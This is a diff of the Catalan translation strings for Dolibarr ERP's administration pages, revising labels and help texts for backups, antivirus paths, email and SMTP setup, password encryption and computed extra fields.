      Això pot augmentar el rendiment si teniu un gran nombre de contactes, però és menys pràctic. NumberOfKeyToSearch=Nombre de caràcters per a activar la cerca: %s NumberOfBytes=Nombre de bytes SearchString=Cerca cadena @@ -89,7 +87,7 @@ NotAvailableWhenAjaxDisabled=No disponible quan Ajax estigui desactivat AllowToSelectProjectFromOtherCompany=En un document d'un tercer, pots triar un projecte enllaçat a un altre tercer TimesheetPreventAfterFollowingMonths=Eviteu el temps de gravació passat el següent nombre de mesos JavascriptDisabled=Javascript desactivat -UsePreviewTabs=Veure fitxes "vista prèvia" +UsePreviewTabs=Utilitzeu pestanyes de vista prèvia ShowPreview=Veure previsualització ShowHideDetails=Mostra-Amaga els detalls PreviewNotAvailable=Vista prèvia no disponible @@ -106,14 +104,14 @@ NextValueForInvoices=Pròxim valor (factures) NextValueForCreditNotes=Pròxim valor (abonaments) NextValueForDeposit=Següent valor (bestreta) NextValueForReplacements=Pròxim valor (rectificatives) -MustBeLowerThanPHPLimit=Nota: actualment la vostra configuració PHP limita la mida màxima de fitxers per a la pujada a %s %s, independentment del valor d'aquest paràmetre. +MustBeLowerThanPHPLimit=Nota: actualment la vostra configuració de PHP limita la mida màxima dels fitxers per a pujar a %s %s, independentment del valor d'aquest paràmetre NoMaxSizeByPHPLimit=Cap limitació interna en el seu servidor PHP MaxSizeForUploadedFiles=Mida màxima per als fitxers a pujar (0 per a no permetre cap pujada) UseCaptchaCode=Utilitzeu el codi gràfic (CAPTCHA) a la pàgina d'inici de sessió i en algunes pàgines públiques -AntiVirusCommand=Ruta completa cap al comandament antivirus +AntiVirusCommand=Camí complet a l'ordre antivirus AntiVirusCommandExample=Exemple per al dimoni ClamAv (requereix clamav-daemon): /usr/bin/clamdscan
      Exemple per a ClamWin (molt molt lent): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe AntiVirusParam= Més paràmetres a la línia d'ordres -AntiVirusParamExample=Exemple per al dimoni de ClamAv: --fdpass
      Exemple per a ClamWin: --database="C:\\Program Files (x86)\\ClamWin\\lib" +AntiVirusParamExample=Exemple del dimoni de ClamAv: --fdpass
      Exemple de ClamWin: --database="C:\\Program Files (x86)\\ClamWin\\lib" ComptaSetup=Configuració del mòdul Comptabilitat UserSetup=Configuració de gestió d'usuaris MultiCurrencySetup=Configuració multidivisa @@ -147,6 +145,7 @@ Box=Panell Boxes=Panells MaxNbOfLinesForBoxes=Màx. nombre de línies pels panells AllWidgetsWereEnabled=Tots els widgets disponibles estan habilitats +WidgetAvailable=Giny disponible PositionByDefault=Posició per defecte Position=Lloc MenusDesc=Els gestors de menú configuren el contingut de les dues barres de menú (horitzontal i vertical). @@ -161,7 +160,7 @@ SystemToolsAreaDesc=Aquesta àrea proporciona funcions d'administració. Utilitz Purge=Purga PurgeAreaDesc=Aquesta pàgina us permet suprimir tots els fitxers generats o emmagatzemats per Dolibarr (fitxers temporals o tots els fitxers del directori %s ). Normalment, l'ús d'aquesta funció no és necessari. Es proporciona com a solució alternativa als usuaris que allotgen Dolibarr amb un proveïdor que no ofereix permisos per a eliminar fitxers generats pel servidor web. PurgeDeleteLogFile=Suprimeix els fitxers de registre, inclosos %s definits per al mòdul Syslog (sense risc de perdre dades) -PurgeDeleteTemporaryFiles=Suprimeix tots els fitxers de registre i temporals (no hi ha risc de perdre dades). El paràmetre pot ser 'tempfilesold', 'logfiles' o tots dos 'tempfilesold+logfiles'. Nota: la supressió de fitxers temporals només es fa si el directori temporal es va crear fa més de 24 hores. +PurgeDeleteTemporaryFiles=Suprimeix tots els fitxers de registre i temporals (sense risc de perdre dades). El paràmetre pot ser «tempfilesold», «logfiles» o tots dos «tempfilesold+logfiles». Nota: L'eliminació dels fitxers temporals només es fa si el directori temporal es va crear fa més de 24 hores. PurgeDeleteTemporaryFilesShort=Suprimeix els fitxers de registre i temporals (sense risc de perdre dades) PurgeDeleteAllFilesInDocumentsDir=Suprimiu tots els fitxers del directori: %s.
      Això suprimirà tots els documents generats relacionats amb elements (tercers, factures, etc.), fitxers penjats al mòdul GED, còpies de seguretat de la base de dades i fitxers temporals. PurgeRunNow=Purgar @@ -177,11 +176,11 @@ RunCommandSummary=La còpia serà realitzada per la comanda següent BackupResult=Resultat de la còpia BackupFileSuccessfullyCreated=Arxiu de còpia generat correctament YouCanDownloadBackupFile=Ara es pot descarregar el fitxer generat -NoBackupFileAvailable=Cap còpia disponible +NoBackupFileAvailable=No hi ha fitxers de còpia de seguretat disponibles. ExportMethod=Mètode d'exportació ImportMethod=Mètode d'importació ToBuildBackupFileClickHere=Per a crear un fitxer de còpia de seguretat, feu clic aquí. -ImportMySqlDesc=Per a importar un fitxer de còpia de seguretat MySQL, podeu utilitzar phpMyAdmin mitjançant el vostre allotjament o utilitzar l’ordre mysql de la línia d’ordres.
      Per exemple: +ImportMySqlDesc=Per a importar un fitxer de còpia de seguretat de MySQL, podeu utilitzar phpMyAdmin mitjançant el vostre allotjament o utilitzar l'ordre mysql des de la línia d'ordres.
      Per exemple: ImportPostgreSqlDesc=Per a importar un fitxer de còpia de seguretat, heu d'utilitzar l'ordre pg_restore des de la línia d'ordres: ImportMySqlCommand=%s %s < elmeuarxiubackup.sql ImportPostgreSqlCommand=%s %s elmeuarxiubackup.sql @@ -195,8 +194,8 @@ ExportUseMySQLQuickParameterHelp=El paràmetre '--quick' ajuda a limitar el cons MySqlExportParameters=Paràmetres de l'exportació MySql PostgreSqlExportParameters= Paràmetres de l'exportació PostgreSQL UseTransactionnalMode=Utilitzar el mode transaccional -FullPathToMysqldumpCommand=Ruta completa de la comanda mysqldump -FullPathToPostgreSQLdumpCommand=ruta completa cap al comandament pg_dump +FullPathToMysqldumpCommand=Camí complet a l'ordre mysqldump +FullPathToPostgreSQLdumpCommand=Camí complet a l'ordre pg_dump AddDropDatabase=Afegir ordres DROP DATABASE AddDropTable=Afegir ordres DROP TABLE ExportStructure=Estructura @@ -210,7 +209,7 @@ AutoDetectLang=Autodetecta (idioma del navegador) FeatureDisabledInDemo=Opció deshabilitada en demo FeatureAvailableOnlyOnStable=Funcionalitat disponible únicament en versions estables oficials BoxesDesc=Els panells són components que mostren algunes dades que poden afegir-se per a personalitzar algunes pàgines. Pots triar entre mostrar el panell o no seleccionant la pàgina de destí i fent clic a 'Activar', o fent clic en la paperera per a desactivar. -OnlyActiveElementsAreShown=Només els elements de mòduls activats són mostrats +OnlyActiveElementsAreShown=Només es mostren els elements dels mòduls habilitats. ModulesDesc=Els mòduls/aplicacions determinen quines funcions estan disponibles al programari. Alguns mòduls requereixen que es concedeixin permisos als usuaris després d'activar-lo. Feu clic al botó d'encesa/apagada %s de cada mòdul per a habilitar o desactivar un mòdul/aplicació. ModulesDesc2=Feu clic al botó de la roda %s per a configurar el mòdul/aplicació. ModulesMarketPlaceDesc=A internet podeu trobar més mòduls per a descarregar en pàgines web externes... @@ -247,8 +246,8 @@ Required=Requerit UsedOnlyWithTypeOption=Utilitzat només per alguna opció de l'agenda Security=Seguretat Passwords=Contrasenyes -DoNotStoreClearPassword=Encripta les contrasenyes emmagatzemades a la base de dades (NO com a text sense format). Es recomana activar aquesta opció. -MainDbPasswordFileConfEncrypted=Encriptar la contrasenya de la base de dades emmagatzemada a conf.php. Es recomana activar aquesta opció. +DoNotStoreClearPassword=Xifra les contrasenyes emmagatzemades a la base de dades (NO com a text sense format). És molt recomanable activar aquesta opció. +MainDbPasswordFileConfEncrypted=Xifra la contrasenya de la base de dades emmagatzemada a conf.php. És molt recomanable activar aquesta opció. InstrucToEncodePass=Per a tenir la contrasenya codificada al fitxer conf.php, substituïu la línia
      $ dolibarr_main_db_pass="...";
      per
      $dolibarr_main_db_pass = "crypted:%s"; InstrucToClearPass=Per a tenir la contrasenya descodificada en el fitxer de configuració conf.php, reemplaça en aquest fitxer la línia
      $dolibarr_main_db_pass="crypted:...";
      per
      $dolibarr_main_db_pass="%s"; ProtectAndEncryptPdfFiles=Protegiu els fitxers PDF generats. Això NO es recomana perquè trenca la generació massiva de PDF. @@ -279,7 +278,7 @@ PaperSize=Tipus de paper Orientation=Orientació SpaceX=Àrea X SpaceY=Àrea Y -FontSize=Mida de la font +FontSize=Mida de la lletra tipogràfica Content=Contingut ContentForLines=Contingut per a mostrar a cada producte o servei (de la variable __LINES__ de Contingut) NoticePeriod=Preavís @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Nom host o ip del servidor SMTP (Per defecte en php.ini: < MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Port del servidor SMTP (No definit en PHP en sistemes de tipus Unix) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Nom servidor o ip del servidor SMTP (No definit en PHP en sistemes de tipus Unix) MAIN_MAIL_EMAIL_FROM=E-mail del remitent per e-mails automàtics (valor predeterminat a php.ini: %s) +EMailHelpMsgSPFDKIM=Per a evitar que els correus electrònics de Dolibarr siguin classificats com a correu brossa, assegureu-vos que el servidor estigui autoritzat a enviar correus electrònics des d'aquesta adreça mitjançant la configuració SPF i DKIM. MAIN_MAIL_ERRORS_TO=E-mail a utilitzar per als e-mails de missatges d'error (camp 'Errors-To' als e-mails enviats) MAIN_MAIL_AUTOCOPY_TO= Copia (Bcc) tots els correus enviats a MAIN_DISABLE_ALL_MAILS=Desactiva tot l'enviament de correu electrònic (per a proves o demostracions) @@ -303,7 +303,7 @@ MAIN_MAIL_SENDMODE=Mètode d'enviament de correu electrònic MAIN_MAIL_SMTPS_ID=ID d'autenticació SMTP (si el servidor requereix autenticació) MAIN_MAIL_SMTPS_PW=Contrasenya SMTP (si el servidor requereix autenticació) MAIN_MAIL_EMAIL_TLS=Utilitza el xifratge TLS (SSL) -MAIN_MAIL_EMAIL_STARTTLS=Ús d'encriptació TLS (STARTTLS) +MAIN_MAIL_EMAIL_STARTTLS=Utilitza el xifratge TLS (STARTTLS). MAIN_MAIL_EMAIL_SMTP_ALLOW_SELF_SIGNED=Autoritza els certificats autosignats MAIN_MAIL_EMAIL_DKIM_ENABLED=Utilitzar DKIM per a generar firma d'email MAIN_MAIL_EMAIL_DKIM_DOMAIN=Domini d'email per a utilitzar amb dkim @@ -347,13 +347,13 @@ UnpackPackageInModulesRoot=Per a implementar/instal·lar un mòdul extern, heu d SetupIsReadyForUse=La instal·lació del mòdul ha finalitzat. No obstant això, ha d'habilitar i configurar el mòdul en la seva aplicació, aneu a la pàgina per a configurar els mòduls: %s. NotExistsDirect=No s'ha definit el directori arrel alternatiu a un directori existent.
      InfDirAlt=Des de la versió 3, és possible definir un directori arrel alternatiu. Això li permet emmagatzemar, en un directori dedicat, plug-ins i plantilles personalitzades.
      Només ha de crear un directori a l'arrel de Dolibarr (per exemple: custom).
      -InfDirExample=Llavors
      declareu-ho a l'arxiu conf.php
      $dolibarr_main_url_root_alt='/custom'
      $dolibarr_main_document_root_alt='/ruta/del/dolibarr/htdocs/custom'
      Si aquestes línies estan comentades amb "#", per a activar-les simplement descomenteu-les traient el caràcter "#". +InfDirExample=
      Llavors declareu-ho al fitxer conf.php
      $dolibarr_main_url_root_alt='/custom'
      $dolibarr_main_document_root_alt='/cami/del/dolibarr/htdocs/custom'
      Si aquestes línies estan comentades amb «#», per a activar-les només cal treure el comentari eliminant el caràcter «#». YouCanSubmitFile=Podeu pujar el fitxer .zip del paquet del mòdul des d’aquí: CurrentVersion=Versió actual de Dolibarr CallUpdatePage=Aneu a la pàgina que actualitza l'estructura i les dades de la base de dades: %s. LastStableVersion=Última versió estable -LastActivationDate=Data de l'última activació -LastActivationAuthor=Últim autor d'activació +LastActivationDate=Última data d'activació +LastActivationAuthor=Autor de l'última activació LastActivationIP=Última IP d'activació LastActivationVersion=Última versió d'activació UpdateServerOffline=Actualitza el servidor fora de línia @@ -375,11 +375,11 @@ DoTestSendHTML=Prova l'enviament HTML ErrorCantUseRazIfNoYearInMask=Error, no es pot utilitzar l'opció @ per a restablir el comptador cada any si la seqüència {yy} o {yyyy} no està emmascarada. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Error, no es pot usar opció @ si la seqüència (yy) (mm) o (yyyy) (mm) no es troba a la màscara. UMask=Paràmetre UMask de nous fitxers en Unix/Linux/BSD. -UMaskExplanation=Aquest paràmetre determina els drets dels arxius creats en el servidor Dolibarr (durant la pujada, per exemple).
      Aquest ha de ser el valor octal (per exemple, 0666 significa lectura/escriptura per a tots).
      Aquest paràmetre no té cap efecte sobre un servidor Windows. +UMaskExplanation=Aquest paràmetre us permet definir els permisos establerts per defecte als fitxers creats per Dolibarr al servidor (durant la càrrega, per exemple).
      Ha de ser el valor octal (per exemple, 0666 significa llegir i escriure per a tothom). El valor recomanat és 0600 o 0660
      Aquest paràmetre no té ús en un servidor Windows. SeeWikiForAllTeam=Mireu la pàgina Wiki per a obtenir una llista dels col·laboradors i la seva organització UseACacheDelay= Demora en memòria cau de l'exportació en segons (0 o buit sense memòria) -DisableLinkToHelpCenter=Amagueu l'enllaç " Necessiteu ajuda o assistència " a la pàgina d'inici de sessió -DisableLinkToHelp=Amagueu l'enllaç a l'ajuda en línia " %s " +DisableLinkToHelpCenter=Amaga l'enllaç «Necessites ajuda o assistència» a la pàgina d'inici de sessió +DisableLinkToHelp=Amaga l'enllaç a l'ajuda en línia «%s» AddCRIfTooLong=No hi ha cap tall de text automàtic, el text massa llarg no es mostrarà als documents. Si cal, afegiu devolucions de carro a l'àrea de text. ConfirmPurge=Esteu segur que voleu executar aquesta purga?
      Això suprimirà permanentment tots els fitxers de dades sense opció de restaurar-los (fitxers del GED, fitxers adjunts...). MinLength=Longitud mínima @@ -394,14 +394,14 @@ FollowingSubstitutionKeysCanBeUsed=
      Per a saber com crear les teves plantil FullListOnOnlineDocumentation=http://wiki.dolibarr.org/index.php/Crear_un_modelo_de_documento_ODT FirstnameNamePosition=Posició del Nom/Cognoms DescWeather=Les imatges següents es mostraran al tauler de control quan el nombre d'accions posteriors arriba als valors següents: -KeyForWebServicesAccess=Clau per a utilitzar els serveis web (paràmetre "dolibarrkey" als serveis web) +KeyForWebServicesAccess=Clau per a utilitzar els serveis web (paràmetre «dolibarrkey» als serveis web) TestSubmitForm=Formulari de proves ThisForceAlsoTheme=L’ús d’aquest gestor de menús també farà servir el seu propi tema sigui quina sigui l’opció de l’usuari. A més, aquest gestor de menú especialitzat per a telèfons intel·ligents no funciona en tots els telèfons intel·ligents. Utilitzeu un altre gestor de menús si teniu problemes amb el vostre. ThemeDir=Directori dels temes ConnectionTimeout=Temps d'espera de connexió ResponseTimeout=Timeout de resposta SmsTestMessage=Missatge de prova de __PHONEFROM__ per __PHONETO__ -ModuleMustBeEnabledFirst=El mòdul "%s" ha d'habilitar-se primer si necessita aquesta funcionalitat. +ModuleMustBeEnabledFirst=El mòdul %s s'ha d'activar primer si necessiteu aquesta funció. SecurityToken=Clau per a protegir els URL NoSmsEngine=No hi ha cap gestor de remitents d'SMS disponible. Un gestor de remitents d'SMS no està instal·lat amb la distribució predeterminada perquè depenen d'un proveïdor extern, però podeu trobar-ne alguns a %s PDF=PDF @@ -416,7 +416,7 @@ HideDescOnPDF=Amaga la descripció dels productes HideRefOnPDF=Amaga la ref. dels productes HideDetailsOnPDF=Amaga els detalls de les línies de producte PlaceCustomerAddressToIsoLocation=Utilitza la posició estàndard francesa (La Poste) per a la posició d'adreça del client -Library=Llibreria +Library=Biblioteca UrlGenerationParameters=Paràmetres per a protegir els URL SecurityTokenIsUnique=Fer servir un paràmetre securekey únic per a cada URL? EnterRefToBuildUrl=Introduïu la referència de l'objecte %s @@ -439,8 +439,10 @@ Unique=Únic Boolean=Boleà (una casella de selecció) ExtrafieldPhone = Telèfon ExtrafieldPrice = Preu +ExtrafieldPriceWithCurrency=Preu amb moneda ExtrafieldMail = Correu electrònic ExtrafieldUrl = URL +ExtrafieldIP = IP ExtrafieldSelect = Llista de selecció ExtrafieldSelectList = Llista de selecció de table ExtrafieldSeparator=Separador (no és un camp) @@ -450,18 +452,18 @@ ExtrafieldCheckBox=Caselles de selecció ExtrafieldCheckBoxFromList=Caselles de selecció des d'una taula ExtrafieldLink=Enllaç a un objecte ComputedFormula=Camp calculat -ComputedFormulaDesc=Podeu introduir aquí una fórmula utilitzant altres propietats de l’objecte o qualsevol codi PHP per a obtenir un valor calculat dinàmicament. Podeu utilitzar qualsevol fórmula compatible amb PHP, inclòs l'operador condicional «?» i els següents objectes globals: $db, $conf, $langs, $mysoc, $user, $object.
      ATENCIÓ: Només poden estar disponibles algunes propietats de $object. Si necessiteu una propietat no carregada, només cal que incorporeu l'objecte a la vostra fórmula com en el segon exemple.
      Utilitzar un camp calculat implica que no podreu introduir cap valor des de la interfície. A més, si hi ha un error de sintaxi, la fórmula pot no tornar res.

      Exemple de fórmula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2 )

      Exemple per a tornar a carregar l'objecte
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Un altre exemple de fórmula per a forçar la càrrega de l'objecte i el seu objecte pare:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=Podeu introduir aquí una fórmula utilitzant altres propietats de l’objecte o qualsevol codi PHP per a obtenir un valor calculat dinàmicament. Podeu utilitzar qualsevol fórmula compatible amb PHP, inclòs l'operador condicional «?» i els següents objectes globals:$db, $conf, $langs, $mysoc, $user, $object.
      ATENCIÓ: Només poden estar disponibles algunes propietats de $object. Si necessiteu una propietat no carregada, només cal que incorporeu l'objecte a la vostra fórmula com en el segon exemple.
      Utilitzar un camp calculat implica que no podreu introduir cap valor des de la interfície. A més, si hi ha un error de sintaxi, la fórmula pot no tornar res.

      Exemple de fórmula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Exemple per a tornar a carregar l'objecte
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Un altre exemple de fórmula per a forçar la càrrega de l'objecte i el seu objecte pare:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Emmagatzemar el camp computat ComputedpersistentDesc=Els camps addicionals calculats s’emmagatzemaran a la base de dades, però el valor només es recalcularà quan es canviï l’objecte d’aquest camp. Si el camp calculat depèn d'altres objectes o dades globals, aquest valor pot ser incorrecte!! ExtrafieldParamHelpPassword=Si deixeu aquest camp en blanc, vol dir que aquest valor s'emmagatzemarà sense xifratge (el camp només s'ha d'amagar amb una estrella a la pantalla).
      Establiu 'auto' per a utilitzar la regla de xifratge predeterminada per a desar la contrasenya a la base de dades (aleshores, el valor llegit serà només el hash, no hi ha manera de recuperar el valor original) ExtrafieldParamHelpselect=La llista de valors ha de ser un conjunt de línies amb un format del tipus clau,valor (on la clau no pot ser '0')

      per exemple:
      1,valor1
      2,valor2
      codi3,valor3
      ...

      Per a tenir la llista depenent d'una altra llista d'atributs complementaris:
      1,valor1|options_codi_llista_pare:clau_pare
      2,valor2|options_codi_llista_pare:clau_pare

      Per a tenir la llista depenent d'una altra llista:
      1,valor1|codi_llista_pare:clau_pare
      2,valor2|codi_llista_pare:clau_pare ExtrafieldParamHelpcheckbox=La llista de valor ha de ser un conjunt de línies del tipus clau,valor (on la clau no pot ser '0')

      per exemple:
      1,valor1
      2,valor2
      3,valor3
      ... ExtrafieldParamHelpradio=La llista de valor ha de ser un conjunt de línies del tipus clau,valor (on la clau no pot ser '0')

      per exemple:
      1,valor1
      2,valor2
      3,valor3
      ... -ExtrafieldParamHelpsellist=Llista de valors que provenen d’una taula
      Sintaxi: nom_taula:nom_camp:id_camp::filtresql
      Exemple: c_typent:libelle:id::filtresql

      - id_camp ha de ser necessàriament una clau primària numèrica
      - el filtresql és una condició SQL. Pot ser una prova simple (p.ex. active=1) per a mostrar només els valors actius
      També pots utilitzar $ID$ al filtre per a representar el ID de l'actual objecte en curs
      Per a utilitzar un SELECT al filtre, utilitzeu la paraula clau $SEL$ per a evitar la protecció anti injecció.
      Si vols filtrar camps addicionals, utilitza la sintaxi extra.nom_camp=... (on nom_camp és el codi del camp addicional)

      Per a tenir la llista en funció d’una altra llista d’atributs complementaris:
      c_typent:libelle:id:options_codi_llista_mare|parent_column:filtre

      Per a tenir la llista en funció d'una altra llista:
      c_typent:libelle:id:codi_llista_mare|parent_column:filter +ExtrafieldParamHelpsellist=Llista de valors que provenen d’una taula
      Sintaxi: nom_taula:nom_camp:id_camp::filtresql
      Exemple: c_typent:libelle:id::filtresql

      - id_camp ha de ser necessàriament una clau primària numèrica
      - el filtresql és una condició SQL. Pot ser una prova simple (p. ex. active=1) per a mostrar només els valors actius
      També pots utilitzar $ID$ al filtre per a representar el ID de l'actual objecte en curs
      Per a utilitzar un SELECT al filtre, utilitzeu la paraula clau $SEL$ per a evitar la protecció anti injecció.
      Si vols filtrar camps addicionals, utilitza la sintaxi extra.nom_camp=... (on nom_camp és el codi del camp addicional)

      Per a tenir la llista en funció d’una altra llista d’atributs complementaris:
      c_typent:libelle:id:options_codi_llista_mare|parent_column:filtre

      Per a tenir la llista en funció d'una altra llista:
      c_typent:libelle:id:codi_llista_mare|parent_column:filter ExtrafieldParamHelpchkbxlst=La llista de valors prové d'una taula
      Sintaxi: nom_taula:nom_camp:id_camp::filtre
      Exemple: c_typent:libelle:id::filtre

      filtre pot ser una comprovació simple (p. ex. active=1) per a mostrar només el valor actiu
      També podeu utilitzar $ID$ en el filtre per a representar l'ID actual de l'objecte en curs
      Per a fer un SELECT al filtre, utilitzeu $SEL$
      si voleu filtrar per camps extra, utilitzeu la sintaxi extra.fieldcode=... (on el codi de camp és el codi del camp extra)

      Per a tenir la llista depenent d'una altra llista d'atributs complementaris:
      c_typent:libelle:id:options_codi_llista_pare|parent_column: filter

      Per a tenir la llista depenent d'una altra llista:
      c_typent:libelle:id:codi_llista_pare|parent_column:filter ExtrafieldParamHelplink=Els paràmetres han de ser ObjectName:Classpath
      Sintaxi: ObjectName:Classpath ExtrafieldParamHelpSeparator=Manteniu-lo buit per un simple separador
      Configureu-ho a 1 per a un separador col·lapsador (obert per defecte per a la sessió nova, i es mantindrà l'estat de cada sessió d'usuari)
      Configureu-ho a 2 per a un separador col·lapsat (es va desplomar per defecte per a la sessió nova, i es mantindrà l'estat per a cada sessió d'usuari) -LibraryToBuildPDF=Llibreria utilitzada per a la generació de PDF +LibraryToBuildPDF=Biblioteca utilitzada per a la generació de PDF LocalTaxDesc=Alguns països apliquen 2 o 3 impostos en cada línia de factura. Si aquest és el cas, escull el tipus pel segon i el tercer impost i el seu valor. Els tipus possibles són:
      1: impostos locals aplicats en productes i serveis sense IVA (l'impost local serà calculat en el total sense impostos)
      2: impost local aplicat en productes i serveis amb IVA (l'impost local serà calculat amb el total + l'impost principal)
      3: impost local aplicat en productes sense IVA (l'impost local serà calculat en el total sense impost)
      4: impost local aplicat en productes amb IVA (l'impost local serà calculat amb el total + l'impost principal)
      5: impost local aplicat en serveis sense IVA (l'impost local serà calculat amb el total sense impost)
      6: impost local aplicat en serveis amb IVA inclòs (l'impost local serà calculat amb el total + IVA) SMS=SMS LinkToTestClickToDial=Introduïu un número de telèfon per a trucar per a mostrar un enllaç per a provar l'URL ClickToDial per a l'usuari %s @@ -483,25 +485,26 @@ ConfirmEraseAllCurrentBarCode=Esteu segur que voleu esborrar tots els valors de AllBarcodeReset=S'han eliminat tots els valors de codi de barres NoBarcodeNumberingTemplateDefined=No hi ha cap plantilla de codi de barres habilitada a la configuració del mòdul de codi de barres. EnableFileCache=Activa la memòria cau de fitxers -ShowDetailsInPDFPageFoot=Afegiu més detalls al peu de pàgina, com ara l'adreça de l'empresa o els noms dels gestors (a més d'identificadors professionals, capital de l'empresa i número de NIF/CIF). +ShowDetailsInPDFPageFoot=Afegiu més detalls al peu de pàgina, com ara l'adreça de l'empresa o els noms dels administradors (a més dels identificadors professionals, el capital social i el número de NIF). NoDetails=No hi ha detalls addicionals al peu de pàgina DisplayCompanyInfo=Mostra l'adreça de l'empresa DisplayCompanyManagers=Mostra el gestor de noms DisplayCompanyInfoAndManagers=Mostra l'adreça de l'empresa i els noms de la persona gestora EnableAndSetupModuleCron=Si voleu que aquesta factura periòdica es generi automàticament, el mòdul * %s * s’ha d’habilitar i configurar correctament. En cas contrari, la generació de factures s’ha de fer manualment des d’aquesta plantilla mitjançant el botó *Crea*. Tingueu en compte que, fins i tot si heu activat la generació automàtica, encara podeu iniciar la generació manual amb seguretat. No es pot generar duplicats per al mateix període. ModuleCompanyCodeCustomerAquarium=%s seguit del codi de client per a un codi comptable de client -ModuleCompanyCodeSupplierAquarium=%s seguit del codi de proveïdor per a un codi de comptabilitat del proveïdor +ModuleCompanyCodeSupplierAquarium=%s seguit del codi de proveïdor per a un codi de comptabilitat de proveïdor ModuleCompanyCodePanicum=Retorna un codi comptable buit. ModuleCompanyCodeDigitaria=Retorna un codi comptable compost d'acord amb el nom del tercer. El codi consisteix en un prefix, que pot definir-se, en primera posició, seguit del nombre de caràcters que es defineixi com a codi del tercer. ModuleCompanyCodeCustomerDigitaria=%s seguit pel nom abreujat del client pel nombre de caràcters: %s pel codi del compte de client ModuleCompanyCodeSupplierDigitaria=%s seguit pel nom abreujat del proveïdor pel nombre de caràcters: %s pel codi del compte de proveïdor -Use3StepsApproval=Per defecte, les comandes de compra necessiten ser creades i aprovades per 2 usuaris diferents (el primer pas/usuari és per a crear i un altre pas/usuari per a aprovar. Noteu que si un usuari té permisos tant per a crear com per a aprovar, un sol pas/usuari serà suficient). Amb aquesta opció, tens la possibilitat d'introduir un tercer pas/usuari per a l'aprovació, si l'import és superior a un determinat valor (d'aquesta manera són necessaris 3 passos: 1=validació, 2=primera aprovació i 3=segona aprovació si l'import és suficient).
      Deixa-ho en blanc si només vols un nivell d'aprovació (2 passos); posa un valor encara que sigui molt baix (0,1) si vols una segona aprovació (3 passos). +Use3StepsApproval=De manera predeterminada, les comandes de compra han de ser creades i aprovades per 2 usuaris diferents (un pas/usuari per a crear i un pas/usuari per a aprovar. Tingueu en compte que si l'usuari té tant permís per a crear com per a aprovar, n'hi haurà prou amb un pas/usuari). . Podeu demanar amb aquesta opció que es presenti un tercer pas/usuari d'aprovació, si l'import és superior a un determinat valor (per tant, seran necessaris 3 passos: 1=validació, 2=primera aprovació i 3=segona aprovació si l'import és suficient).
      Establiu-ho com a buit si n'hi ha prou amb una aprovació (2 passos), establiu-lo en un valor molt baix (0,1) si sempre cal una segona aprovació (3 passos). UseDoubleApproval=Utilitza una aprovació en 3 passos quan l'import (sense impostos) sigui més gran que... WarningPHPMail=ADVERTÈNCIA: la configuració per a enviar correus electrònics des de l'aplicació utilitza la configuració genèrica predeterminada. Sovint és millor configurar els correus electrònics de sortida per a utilitzar el servidor de correu electrònic del vostre proveïdor de serveis de correu electrònic en lloc de la configuració predeterminada per diversos motius: WarningPHPMailA=- L'ús del servidor del proveïdor de serveis de correu electrònic augmenta la fiabilitat del vostre correu electrònic, de manera que augmenta el lliurament sense ser marcat com a Correu brossa WarningPHPMailB=- Alguns proveïdors de serveis de correu electrònic (com Yahoo) no us permeten enviar un correu electrònic des d'un altre servidor que el seu propi servidor. La configuració actual utilitza el servidor de l’aplicació per a enviar correus electrònics i no el servidor del vostre proveïdor de correu electrònic, de manera que alguns destinataris (el compatible amb el protocol DMARC restrictiu) demanaran al vostre proveïdor de correu electrònic si poden acceptar el vostre correu electrònic i alguns proveïdors de correu electrònic. (com Yahoo) pot respondre "no" perquè el servidor no és seu, de manera que és possible que pocs dels vostres correus electrònics enviats no s'acceptin per al lliurament (tingueu cura també de la quota d'enviament del vostre proveïdor de correu electrònic). WarningPHPMailC=- També és interessant utilitzar el servidor SMTP del vostre proveïdor de serveis de correu electrònic per a enviar correus electrònics, de manera que tots els correus electrònics enviats des de l’aplicació també es guardaran al directori "Enviats" de la vostra bústia de correu. -WarningPHPMailD=Així mateix, es recomana canviar el mètode d'enviament de correus electrònics pel valor "SMTP". Si realment voleu mantenir el mètode predeterminat "PHP" per a enviar correus electrònics, només ignoreu aquest advertiment o elimineu-lo establint la constant MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP a 1 a Inici - Configuració - Altres. +WarningPHPMailD=Per tant, es recomana canviar el mètode d'enviament dels correus electrònics al valor "SMTP". +WarningPHPMailDbis=Si realment voleu mantenir el mètode "PHP" predeterminat per a enviar correus electrònics, només ignoreu aquest avís o elimineu-lo fent %sclic aquí%s. WarningPHPMail2=Si el vostre proveïdor SMTP necessita restringir al client de correu a una adreça IP (molt estrany), aquesta és la IP de l'agent d'usuari de correu (MUA) per la vostra aplicació ERP CRM: %s. WarningPHPMailSPF=Si el nom de domini de la vostra adreça de correu electrònic del remitent està protegit per un registre SPF (demaneu al registre del vostre nom de domini), heu d'afegir les IP següents al registre SPF del DNS del vostre domini: %s . ActualMailSPFRecordFound=Registre SPF real trobat (per al correu electrònic %s): %s @@ -510,11 +513,11 @@ DependsOn=Aquest mòdul necessita els mòduls RequiredBy=Aquest mòdul és requerit pel/s mòdul/s 